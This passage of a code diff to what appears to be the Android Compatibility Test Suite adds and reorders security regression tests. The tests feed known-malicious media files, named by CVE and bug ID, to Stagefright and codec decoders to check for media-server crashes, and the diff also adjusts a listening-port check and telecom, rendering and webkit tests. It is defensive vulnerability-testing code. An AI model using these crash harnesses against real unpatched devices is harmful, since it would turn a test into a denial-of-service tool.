-        EXCEPTION_PATTERNS.add("0.0.0.0:5555");   // emulator port
-        EXCEPTION_PATTERNS.add("10.0.2.15:5555"); // net forwarding for emulator
-        EXCEPTION_PATTERNS.add("127.0.0.1:5037"); // adb daemon "smart sockets"
+        // Patterns containing ":" are allowed address port combinations
+        // Pattterns contains " " are allowed address UID combinations
+        // Patterns containing both are allowed address, port, and UID combinations
+        EXCEPTION_PATTERNS.add("0.0.0.0:5555");     // emulator port
+        EXCEPTION_PATTERNS.add("0.0.0.0:9101");     // verified ports
+        EXCEPTION_PATTERNS.add("0.0.0.0:9551");     // verified ports
+        EXCEPTION_PATTERNS.add("0.0.0.0:9552");     // verified ports
+        EXCEPTION_PATTERNS.add("10.0.2.15:5555");   // net forwarding for emulator
+        EXCEPTION_PATTERNS.add("127.0.0.1:5037");   // adb daemon "smart sockets"
+        EXCEPTION_PATTERNS.add("0.0.0.0 1020");     // used by the cast receiver
+        EXCEPTION_PATTERNS.add("0.0.0.0 10000");    // used by the cast receiver
+        EXCEPTION_PATTERNS.add("127.0.0.1 10000");  // used by the cast receiver
+        EXCEPTION_PATTERNS.add(":: 1002");          // used by remote control
+        EXCEPTION_PATTERNS.add(":: 1020");          // used by remote control
+        //no current patterns involve address, port and UID combinations
+        //Example for when necessary: EXCEPTION_PATTERNS.add("0.0.0.0:5555 10000")
     }
 
     /**
@@ -185,10 +204,16 @@
         List<ParsedProcEntry> entries = ParsedProcEntry.parse(procFilePath);
         for (ParsedProcEntry entry : entries) {
             String addrPort = entry.localAddress.getHostAddress() + ':' + entry.port;
+            String addrUid = entry.localAddress.getHostAddress() + ' ' + entry.uid;
+            String addrPortUid = addrPort + ' ' + entry.uid;
 
             if (isPortListening(entry.state, isTcp)
-                && !isException(addrPort)
-                && (!entry.localAddress.isLoopbackAddress() ^ loopback)) {
+                    && !(isException(addrPort) || isException(addrUid) || isException(addrPortUid))
+                    && (!entry.localAddress.isLoopbackAddress() ^ loopback)) {
+                if (isTcp && !isTcpConnectable(entry.localAddress, entry.port)) {
+                    continue;
+                }
+
                 errors += "\nFound port listening on addr="
                         + entry.localAddress.getHostAddress() + ", port="
                         + entry.port + ", UID=" + entry.uid
@@ -210,6 +235,33 @@
         return Arrays.asList(packages).toString();
     }
 
+    private boolean isTcpConnectable(InetAddress address, int port) {
+        Socket socket = new Socket();
+
+        try {
+            if (Log.isLoggable(TAG, Log.DEBUG)) {
+                Log.d(TAG, "Trying to connect " + address + ":" + port);
+            }
+            socket.connect(new InetSocketAddress(address, port), CONN_TIMEOUT_IN_MS);
+        } catch (IOException ioe) {
+            if (Log.isLoggable(TAG, Log.DEBUG)) {
+                Log.d(TAG, "Unable to connect:" + ioe);
+            }
+            return false;
+        } finally {
+            try {
+                socket.close();
+            } catch (IOException closeError) {
+                Log.e(TAG, "Unable to close socket: " + closeError);
+            }
+        }
+
+        if (Log.isLoggable(TAG, Log.DEBUG)) {
+            Log.d(TAG, address + ":" + port + " is connectable.");
+        }
+        return true;
+    }
+
     private static boolean isException(String localAddress) {
         return isPatternMatch(EXCEPTION_PATTERNS, localAddress);
     }
diff --git a/tests/tests/security/src/android/security/cts/MediaCodecListTest.java b/tests/tests/security/src/android/security/cts/MediaCodecListTest.java
deleted file mode 100644
index 4a6a87d..0000000
--- a/tests/tests/security/src/android/security/cts/MediaCodecListTest.java
+++ /dev/null
@@ -1,46 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import junit.framework.TestCase;
-
-public class MediaCodecListTest extends TestCase {
-
-    static {
-        System.loadLibrary("ctssecurity_jni");
-    }
-
-    public void testMediaCodecList() throws Exception {
-        assertTrue("Device is vulnerable to CVE-2015-6620. "
-                        + "Please apply the security patch at "
-                        + "https://android.googlesource.com/"
-                        + "platform%2Fframeworks%2Fav/"
-                        + "+/77c185d5499d6174e7a97b3e1512994d3a803151",
-                doCodecInfoTest());
-    }
-
-    /**
-     * ANDROID-24445127 / CVE-2015-6620
-     *
-     * Returns true if the device is patched against the getCodecInfo().
-     *
-     * More information on this vulnreability is available at
-     * https://android.googlesource.com/platform%2Fframeworks%2Fav
-     * /a+/77c185d5499d6174e7a97b3e1512994d3a803151/
-     */
-    private static native boolean doCodecInfoTest();
-}
diff --git a/tests/tests/security/src/android/security/cts/MediaServerCrashTest.java b/tests/tests/security/src/android/security/cts/MediaServerCrashTest.java
index ff31208..5ee1ae5 100644
--- a/tests/tests/security/src/android/security/cts/MediaServerCrashTest.java
+++ b/tests/tests/security/src/android/security/cts/MediaServerCrashTest.java
@@ -90,6 +90,31 @@
         }
     }
 
+    public void testInvalidMidiNullPointerAccess() throws Exception {
+        testIfMediaServerDied(R.raw.midi_crash);
+    }
+
+    private void testIfMediaServerDied(int res) throws Exception {
+        AssetFileDescriptor afd = getContext().getResources().openRawResourceFd(res);
+        mMediaPlayer.setDataSource(afd.getFileDescriptor(), afd.getStartOffset(), afd.getLength());
+        afd.close();
+        try {
+            mMediaPlayer.prepareAsync();
+            if (!mOnPrepareCalled.block(5000)) {
+                Log.w(TAG, "testIfMediaServerDied: Timed out waiting for prepare");
+                return;
+            }
+            mMediaPlayer.start();
+            if (!mOnCompletionCalled.block(5000)) {
+                Log.w(TAG, "testIfMediaServerDied: Timed out waiting for Error/Completion");
+            }
+        } catch (Exception e) {
+            Log.w(TAG, "playback failed", e);
+        } finally {
+            mMediaPlayer.release();
+        }
+    }
+
     public void testDrmManagerClientReset() throws Exception {
         checkIfMediaServerDiedForDrm(R.raw.drm_uaf);
     }
diff --git a/tests/tests/security/src/android/security/cts/Movie33897722.java b/tests/tests/security/src/android/security/cts/Movie33897722.java
index 0464a6a..79e88f2 100644
--- a/tests/tests/security/src/android/security/cts/Movie33897722.java
+++ b/tests/tests/security/src/android/security/cts/Movie33897722.java
@@ -25,9 +25,10 @@
 import android.graphics.PorterDuffXfermode;
 import android.test.AndroidTestCase;
 
-import java.io.InputStream;
-
 import com.android.cts.security.R;
+import com.android.cts.util.SecurityTest;
+
+import java.io.InputStream;
 
 public class Movie33897722 extends AndroidTestCase {
     /**
@@ -37,6 +38,7 @@
      * larger than 2. Ensure that we do not attempt to read colors from beyond the end of the
      * color map, which would be reading memory that we do not control, and may be uninitialized.
      */
+    @SecurityTest
     public void test_android_bug_33897722() {
         InputStream exploitImage = mContext.getResources().openRawResource(R.raw.bug_33897722);
         Movie movie = Movie.decodeStream(exploitImage);
diff --git a/tests/tests/security/src/android/security/cts/SkiaJpegDecodingTest.java b/tests/tests/security/src/android/security/cts/SkiaJpegDecodingTest.java
deleted file mode 100644
index 64a9143..0000000
--- a/tests/tests/security/src/android/security/cts/SkiaJpegDecodingTest.java
+++ /dev/null
@@ -1,52 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts;
-
-import android.app.Activity;
-import android.test.ActivityInstrumentationTestCase2;
-
-public class SkiaJpegDecodingTest extends
-        ActivityInstrumentationTestCase2<SkiaJpegDecodingActivity> {
-    private Activity mActivity;
-
-    public SkiaJpegDecodingTest() {
-        super(SkiaJpegDecodingActivity.class);
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mActivity = getActivity();
-        assertNotNull("Failed to get the activity instance", mActivity);
-    }
-
-    public void testLibskiaOverFlowJpegProcessing() {
-        /**
-         * This is an empty test case. The activity attached with this class
-         * loads a corrupt JPEG Image on an ImageView. On a patched device
-         * this will work but on an unpatched device it will crash.
-         */
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        if (mActivity != null) {
-            mActivity.finish();
-        }
-        super.tearDown();
-    }
-}
diff --git a/tests/tests/security/src/android/security/cts/StagefrightFoundationTest.java b/tests/tests/security/src/android/security/cts/StagefrightFoundationTest.java
new file mode 100644
index 0000000..9999d88
--- /dev/null
+++ b/tests/tests/security/src/android/security/cts/StagefrightFoundationTest.java
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2015 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import junit.framework.TestCase;
+
+public class StagefrightFoundationTest extends TestCase {
+
+    static {
+        System.loadLibrary("ctssecurity_jni");
+    }
+
+    /**
+     * Checks that IEffect::command() cannot leak data.
+     */
+    public void test_aMessageFromParcel() throws Exception {
+        assertTrue(native_test_aMessageFromParcel());
+    }
+
+    private static native boolean native_test_aMessageFromParcel();
+}
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index b8d0096..a537f09 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -42,6 +42,9 @@
 import android.view.Surface;
 import android.webkit.cts.CtsTestServer;
 
+import com.android.cts.util.SecurityTest;
+
+import java.io.FileInputStream;
 import java.io.IOException;
 import java.nio.ByteBuffer;
 import java.util.ArrayList;
@@ -69,201 +72,275 @@
      before any existing test methods
      ***********************************************************/
 
+    @SecurityTest
+    public void testStagefright_bug_37079296() throws Exception {
+        doStagefrightTest(R.raw.bug_37079296);
+    }
+
+    @SecurityTest
+    public void testStagefright_bug_38342499() throws Exception {
+        doStagefrightTest(R.raw.bug_38342499);
+    }
+
+    @SecurityTest
+    public void testStagefright_bug_23270724() throws Exception {
+        doStagefrightTest(R.raw.bug_23270724_1);
+        doStagefrightTest(R.raw.bug_23270724_2);
+    }
+
+    @SecurityTest
     public void testStagefright_bug_22771132() throws Exception {
         doStagefrightTest(R.raw.bug_22771132);
     }
 
+    @SecurityTest
     public void testStagefright_bug_21443020() throws Exception {
         doStagefrightTest(R.raw.bug_21443020_webm);
     }
 
+    @SecurityTest
     public void testStagefright_bug_34360591() throws Exception {
         doStagefrightTest(R.raw.bug_34360591);
     }
 
+    @SecurityTest
     public void testStagefright_bug_35763994() throws Exception {
         doStagefrightTest(R.raw.bug_35763994);
     }
 
+    @SecurityTest
     public void testStagefright_bug_33137046() throws Exception {
         doStagefrightTest(R.raw.bug_33137046);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2016_2507() throws Exception {
         doStagefrightTest(R.raw.cve_2016_2507);
     }
 
+    @SecurityTest
     public void testStagefright_bug_31647370() throws Exception {
         doStagefrightTest(R.raw.bug_31647370);
     }
 
+    @SecurityTest
     public void testStagefright_bug_32577290() throws Exception {
         doStagefrightTest(R.raw.bug_32577290);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_1538_1() throws Exception {
         doStagefrightTest(R.raw.cve_2015_1538_1);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_1538_2() throws Exception {
         doStagefrightTest(R.raw.cve_2015_1538_2);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_1538_3() throws Exception {
         doStagefrightTest(R.raw.cve_2015_1538_3);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_1538_4() throws Exception {
         doStagefrightTest(R.raw.cve_2015_1538_4);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_1539() throws Exception {
         doStagefrightTest(R.raw.cve_2015_1539);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3824() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3824);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3826() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3826);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3827() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3827);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3828() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3828);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3829() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3829);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3836() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3836);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3864() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3864);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3864_b23034759() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3864_b23034759);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_6598() throws Exception {
         doStagefrightTest(R.raw.cve_2015_6598);
     }
 
-    public void testStagefright_bug_32873375() throws Exception {
-        doStagefrightTest(R.raw.bug_32873375);
-    }
-
+    @SecurityTest
     public void testStagefright_bug_26366256() throws Exception {
         doStagefrightTest(R.raw.bug_26366256);
     }
 
+    @SecurityTest
+    public void testStagefright_cve_2016_2429_b_27211885() throws Exception {
+        doStagefrightTest(R.raw.cve_2016_2429_b_27211885);
+    }
+
+    public void testStagefright_bug_34031018() throws Exception {
+        doStagefrightTest(R.raw.bug_34031018_32bit);
+        doStagefrightTest(R.raw.bug_34031018_64bit);
+    }
+
     /***********************************************************
      to prevent merge conflicts, add M tests below this comment,
      before any existing test methods
      ***********************************************************/
 
+    @SecurityTest
+    public void testStagefright_bug_34097672() throws Exception {
+        doStagefrightTest(R.raw.bug_34097672);
+    }
+
+    @SecurityTest
     public void testStagefright_bug_33818508() throws Exception {
         doStagefrightTest(R.raw.bug_33818508);
     }
 
+    @SecurityTest
+    public void testStagefright_bug_32873375() throws Exception {
+        doStagefrightTest(R.raw.bug_32873375);
+    }
+
+    @SecurityTest
     public void testStagefright_bug_25765591() throws Exception {
         doStagefrightTest(R.raw.bug_25765591);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3867() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3867);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3869() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3869);
     }
 
+    @SecurityTest
     public void testStagefright_bug_32322258() throws Exception {
         doStagefrightTest(R.raw.bug_32322258);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3873_b_23248776() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3873_b_23248776);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3873_b_20718524() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3873_b_20718524);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3862_b_22954006() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3862_b_22954006);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3867_b_23213430() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3867_b_23213430);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3873_b_21814993() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3873_b_21814993);
     }
 
+    @SecurityTest
     public void testStagefright_bug_25812590() throws Exception {
         doStagefrightTest(R.raw.bug_25812590);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_6600() throws Exception {
         doStagefrightTest(R.raw.cve_2015_6600);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_6603() throws Exception {
         doStagefrightTest(R.raw.cve_2015_6603);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_6604() throws Exception {
         doStagefrightTest(R.raw.cve_2015_6604);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2015_3871() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3871);
     }
 
+    @SecurityTest
     public void testStagefright_bug_26070014() throws Exception {
         doStagefrightTest(R.raw.bug_26070014);
     }
 
+    @SecurityTest
     public void testStagefright_bug_32915871() throws Exception {
         doStagefrightTest(R.raw.bug_32915871);
     }
 
-    public void testStagefright_cve_2015_6608_b_23680780() throws Exception {
-        doStagefrightTest(R.raw.cve_2015_6608_b_23680780);
-    }
-
+    @SecurityTest
     public void testStagefright_bug_28333006() throws Exception {
         doStagefrightTest(R.raw.bug_28333006);
     }
 
-   public void testStagefright_bug_14388161() throws Exception {
+    @SecurityTest
+    public void testStagefright_bug_14388161() throws Exception {
         doStagefrightTestMediaPlayer(R.raw.bug_14388161);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2016_3755() throws Exception {
         doStagefrightTest(R.raw.cve_2016_3755);
     }
 
+    @SecurityTest
     public void testStagefright_cve_2016_3878_b_29493002() throws Exception {
         doStagefrightTest(R.raw.cve_2016_3878_b_29493002);
     }
 
-    public void testStagefright_bug_27855419_CVE_2016_2463() throws Exception {
-        doStagefrightTest(R.raw.bug_27855419);
+    @SecurityTest
+    public void testStagefright_cve_2015_6608_b_23680780() throws Exception {
+        doStagefrightTest(R.raw.cve_2015_6608_b_23680780);
     }
 
-    public void testStagefright_cve_2016_2429_b_27211885() throws Exception {
-        doStagefrightTest(R.raw.cve_2016_2429_b_27211885);
+    @SecurityTest
+    public void testStagefright_bug_27855419_CVE_2016_2463() throws Exception {
+        doStagefrightTest(R.raw.bug_27855419);
     }
 
     private void doStagefrightTest(final int rid) throws Exception {
@@ -661,7 +738,7 @@
             try {
                 retriever.setDataSource(fd.getFileDescriptor(), fd.getStartOffset(), fd.getLength());
                 fd.close();
-            } catch (RuntimeException e) {
+            } catch (Exception e) {
                 // ignore
             } finally {
                 closeQuietly(fd);
@@ -685,4 +762,150 @@
         thr.stopLooper();
         thr.join();
     }
+
+    @SecurityTest
+    public void testBug36215950() throws Exception {
+        doStagefrightTestRawBlob(R.raw.bug_36215950, "video/hevc", 320, 240);
+    }
+
+    @SecurityTest
+    public void testBug36895511() throws Exception {
+        doStagefrightTestRawBlob(R.raw.bug_36895511, "video/hevc", 320, 240);
+    }
+
+    private void runWithTimeout(Runnable runner, int timeout) {
+        Thread t = new Thread(runner);
+        t.start();
+        try {
+            t.join(timeout);
+        } catch (InterruptedException e) {
+            fail("operation was interrupted");
+        }
+        if (t.isAlive()) {
+            fail("operation not completed within timeout of " + timeout + "ms");
+        }
+    }
+
+    private void releaseCodec(final MediaCodec codec) {
+        runWithTimeout(new Runnable() {
+            @Override
+            public void run() {
+                codec.release();
+            }
+        }, 5000);
+    }
+
+    private void doStagefrightTestRawBlob(int rid, String mime, int initWidth, int initHeight) throws Exception {
+
+        final MediaPlayerCrashListener mpcl = new MediaPlayerCrashListener();
+        final Context context = getInstrumentation().getContext();
+        final Resources resources =  context.getResources();
+
+        LooperThread thr = new LooperThread(new Runnable() {
+            @Override
+            public void run() {
+
+                MediaPlayer mp = new MediaPlayer();
+                mp.setOnErrorListener(mpcl);
+                AssetFileDescriptor fd = null;
+                try {
+                    fd = resources.openRawResourceFd(R.raw.good);
+
+                    // the onErrorListener won't receive MEDIA_ERROR_SERVER_DIED until
+                    // setDataSource has been called
+                    mp.setDataSource(fd.getFileDescriptor(),
+                                     fd.getStartOffset(),
+                                     fd.getLength());
+                    fd.close();
+                } catch (Exception e) {
+                    // this is a known-good file, so no failure should occur
+                    fail("setDataSource of known-good file failed");
+                }
+
+                synchronized(mpcl) {
+                    mpcl.notify();
+                }
+                Looper.loop();
+                mp.release();
+            }
+        });
+        thr.start();
+        // wait until the thread has initialized the MediaPlayer
+        synchronized(mpcl) {
+            mpcl.wait();
+        }
+
+        AssetFileDescriptor fd = resources.openRawResourceFd(rid);
+        byte [] blob = new byte[(int)fd.getLength()];
+        FileInputStream fis = fd.createInputStream();
+        int numRead = fis.read(blob);
+        fis.close();
+        //Log.i("@@@@", "read " + numRead + " bytes");
+
+        // find all the available decoders for this format
+        ArrayList<String> matchingCodecs = new ArrayList<String>();
+        int numCodecs = MediaCodecList.getCodecCount();
+        for (int i = 0; i < numCodecs; i++) {
+            MediaCodecInfo info = MediaCodecList.getCodecInfoAt(i);
+            if (info.isEncoder()) {
+                continue;
+            }
+            try {
+                MediaCodecInfo.CodecCapabilities caps = info.getCapabilitiesForType(mime);
+                if (caps != null) {
+                    matchingCodecs.add(info.getName());
+                }
+            } catch (IllegalArgumentException e) {
+                // type is not supported
+            }
+        }
+
+        if (matchingCodecs.size() == 0) {
+            Log.w(TAG, "no codecs for mime type " + mime);
+        }
+        String rname = resources.getResourceEntryName(rid);
+        // decode this blob once with each matching codec
+        for (String codecName: matchingCodecs) {
+            Log.i(TAG, "Decoding blob " + rname + " using codec " + codecName);
+            MediaCodec codec = MediaCodec.createByCodecName(codecName);
+            MediaFormat format = MediaFormat.createVideoFormat(mime, initWidth, initHeight);
+            codec.configure(format, null, null, 0);
+            codec.start();
+
+            try {
+                MediaCodec.BufferInfo info = new MediaCodec.BufferInfo();
+                ByteBuffer [] inputBuffers = codec.getInputBuffers();
+                // enqueue the bad data a number of times, in case
+                // the codec needs multiple buffers to fail.
+                for(int i = 0; i < 64; i++) {
+                    int bufidx = codec.dequeueInputBuffer(5000);
+                    if (bufidx >= 0) {
+                        Log.i(TAG, "got input buffer of size " + inputBuffers[bufidx].capacity());
+                        inputBuffers[bufidx].rewind();
+                        inputBuffers[bufidx].put(blob, 0, numRead);
+                        codec.queueInputBuffer(bufidx, 0, numRead, 0, 0);
+                    } else {
+                        Log.i(TAG, "no input buffer");
+                    }
+                    bufidx = codec.dequeueOutputBuffer(info, 5000);
+                    if (bufidx >= 0) {
+                        Log.i(TAG, "got output buffer");
+                        codec.releaseOutputBuffer(bufidx, false);
+                    } else {
+                        Log.i(TAG, "no output buffer");
+                    }
+                }
+            } catch (Exception e) {
+                // ignore, not a security issue
+            } finally {
+                releaseCodec(codec);
+            }
+        }
+
+        String cve = rname.replace("_", "-").toUpperCase();
+        assertFalse("Device *IS* vulnerable to " + cve,
+                    mpcl.waitForError() == MediaPlayer.MEDIA_ERROR_SERVER_DIED);
+        thr.stopLooper();
+        thr.join();
+    }
 }
diff --git a/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java b/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
index 7067242..0ac20e3 100644
--- a/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
+++ b/tests/tests/security/src/android/security/cts/VisualizerEffectTest.java
@@ -25,7 +25,9 @@
 import android.test.AndroidTestCase;
 import android.test.InstrumentationTestCase;
 import android.util.Log;
+
 import com.android.cts.security.R;
+import com.android.cts.util.SecurityTest;
 
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Method;
@@ -39,6 +41,7 @@
     }
 
     //Testing security bug: 30229821
+    @SecurityTest
     public void testVisualizer_MalformedConstructor() throws Exception {
         final String VISUALIZER_TYPE = "e46b26a0-dddd-11db-8afd-0002a5d5c51b";
         final int VISUALIZER_CMD_MEASURE = 0x10001;
diff --git a/tests/tests/telecom/AndroidManifest.xml b/tests/tests/telecom/AndroidManifest.xml
index 359923d..b57e0b6 100644
--- a/tests/tests/telecom/AndroidManifest.xml
+++ b/tests/tests/telecom/AndroidManifest.xml
@@ -42,7 +42,6 @@
 
         <service android:name="android.telecom.cts.MockInCallService"
             android:permission="android.permission.BIND_INCALL_SERVICE" >
-            <meta-data android:name="android.telecom.IN_CALL_SERVICE_UI" android:value="true" />
             <intent-filter>
                 <action android:name="android.telecom.InCallService"/>
             </intent-filter>
diff --git a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
index 052e820..d874dbf 100644
--- a/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
+++ b/tests/tests/telecom/src/android/telecom/cts/BaseTelecomTestWithMockServices.java
@@ -297,7 +297,6 @@
         if (mInCallCallbacks.getService() != null) {
             currentCallCount = mInCallCallbacks.getService().getCallCount();
         }
-        int currentConnectionCount = getNumberOfConnections();
         placeNewCallWithPhoneAccount(extras, videoState);
 
         try {
@@ -312,20 +311,6 @@
         assertEquals("InCallService should contain 1 more call after adding a call.",
                 currentCallCount + 1,
                 mInCallCallbacks.getService().getCallCount());
-
-        // The connectionService.lock is released in
-        // MockConnectionService#onCreateOutgoingConnection, however the connection will not
-        // actually be added to the list of connections in the ConnectionService until shortly
-        // afterwards.  So there is still a potential for the lock to be released before it would
-        // be seen by calls to ConnectionService#getAllConnections().
-        // We will wait here until the list of connections includes one more connection to ensure
-        // that placing the call has fully completed.
-        final int expectedConnectionCount = currentConnectionCount + 1;
-        assertCSConnections(expectedConnectionCount);
-    }
-
-    int getNumberOfConnections() {
-        return CtsConnectionService.getAllConnectionsFromTelecom().size();
     }
 
     MockConnection verifyConnectionForOutgoingCall() {
@@ -535,24 +520,6 @@
     );
     }
 
-    void assertCSConnections(final int numConnections) {
-        waitUntilConditionIsTrueOrTimeout(new Condition() {
-                                              @Override
-                                              public Object expected() {
-                                                  return numConnections;
-                                              }
-
-                                              @Override
-                                              public Object actual() {
-                                                  return CtsConnectionService
-                                                          .getAllConnectionsFromTelecom()
-                                                          .size();
-                                              }
-                                          },
-                WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
-                "ConnectionService should contain " + numConnections + " connections."
-        );
-    }
 
     void assertNumConnections(final MockConnectionService connService, final int numConnections) {
         waitUntilConditionIsTrueOrTimeout(new Condition() {
diff --git a/tests/tests/telecom/src/android/telecom/cts/CtsConnectionService.java b/tests/tests/telecom/src/android/telecom/cts/CtsConnectionService.java
index e820e10..2364986 100644
--- a/tests/tests/telecom/src/android/telecom/cts/CtsConnectionService.java
+++ b/tests/tests/telecom/src/android/telecom/cts/CtsConnectionService.java
@@ -29,7 +29,6 @@
 import android.util.Log;
 
 import java.util.Collection;
-import java.util.Collections;
 
 /**
  * This is the official ConnectionService for Telecom's CTS App. Since telecom requires that a
@@ -155,9 +154,6 @@
 
     public static Collection<Connection> getAllConnectionsFromTelecom() {
         synchronized(sLock) {
-            if (sTelecomConnectionService == null) {
-                return Collections.EMPTY_LIST;
-            }
             return sTelecomConnectionService.getAllConnections();
         }
     }
diff --git a/tests/tests/uirendering/res/layout/simple_shadow_layout.xml b/tests/tests/uirendering/res/layout/simple_shadow_layout.xml
index f97974b..2f21df0 100644
--- a/tests/tests/uirendering/res/layout/simple_shadow_layout.xml
+++ b/tests/tests/uirendering/res/layout/simple_shadow_layout.xml
@@ -23,4 +23,4 @@
         android:translationY="25px"
         android:elevation="10dp"
         android:background="#fff" />
-</FrameLayout>
+</FrameLayout>
\ No newline at end of file
diff --git a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ShadowTests.java b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ShadowTests.java
index 5c06f0f..ffcbf30 100644
--- a/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ShadowTests.java
+++ b/tests/tests/uirendering/src/android/uirendering/cts/testclasses/ShadowTests.java
@@ -27,10 +27,10 @@
 public class ShadowTests extends ActivityTestBase {
     @SmallTest
     public void testShadowLayout() {
-        int shadowColorValue = 0xD7;
+        int shadowColorValue = 0xDB;
         // Android TV theme overrides shadow opacity to be darker.
         if (getActivity().getOnTv()) {
-            shadowColorValue = 0xB7;
+            shadowColorValue = 0xBB;
         }
         // Use a higher threshold (36) than default value (20);
         SamplePointVerifier verifier = new SamplePointVerifier(
@@ -53,4 +53,4 @@
                 .addLayout(R.layout.simple_shadow_layout, null, true/* HW only */)
                 .runWithVerifier(verifier);
     }
-}
+}
\ No newline at end of file
diff --git a/tests/tests/webkit/assets/webkit/jsunload.html b/tests/tests/webkit/assets/webkit/jsunload.html
index f016eb7..fb0673e 100644
--- a/tests/tests/webkit/assets/webkit/jsunload.html
+++ b/tests/tests/webkit/assets/webkit/jsunload.html
@@ -19,7 +19,7 @@
     </head>
     <script type="text/javascript">
         function fireUnload() {
-            return "this message will be a hardcoded string in chrome.";
+            return "testOnJsBeforeUnload";
         }
         window.onbeforeunload = fireUnload;
     </script>
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java b/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
index 424d856..150fd86 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebChromeClientTest.java
@@ -198,7 +198,7 @@
         runWindowTest(false);
     }
 
-    public void testOnJsBeforeUnloadIsCalled() throws Exception {
+    public void testOnJsBeforeUnload() throws Exception {
         if (!NullWebViewUtils.isWebViewAvailable()) {
             return;
         }
@@ -221,6 +221,7 @@
                 return webChromeClient.hadOnJsBeforeUnload();
             }
         }.run();
+        assertEquals(webChromeClient.getMessage(), "testOnJsBeforeUnload");
     }
 
     public void testOnJsAlert() throws Exception {
diff --git a/tests/tests/widget/AndroidManifest.xml b/tests/tests/widget/AndroidManifest.xml
index 46cdd4d..bc43106 100644
--- a/tests/tests/widget/AndroidManifest.xml
+++ b/tests/tests/widget/AndroidManifest.xml
@@ -213,8 +213,7 @@
         </activity>
 
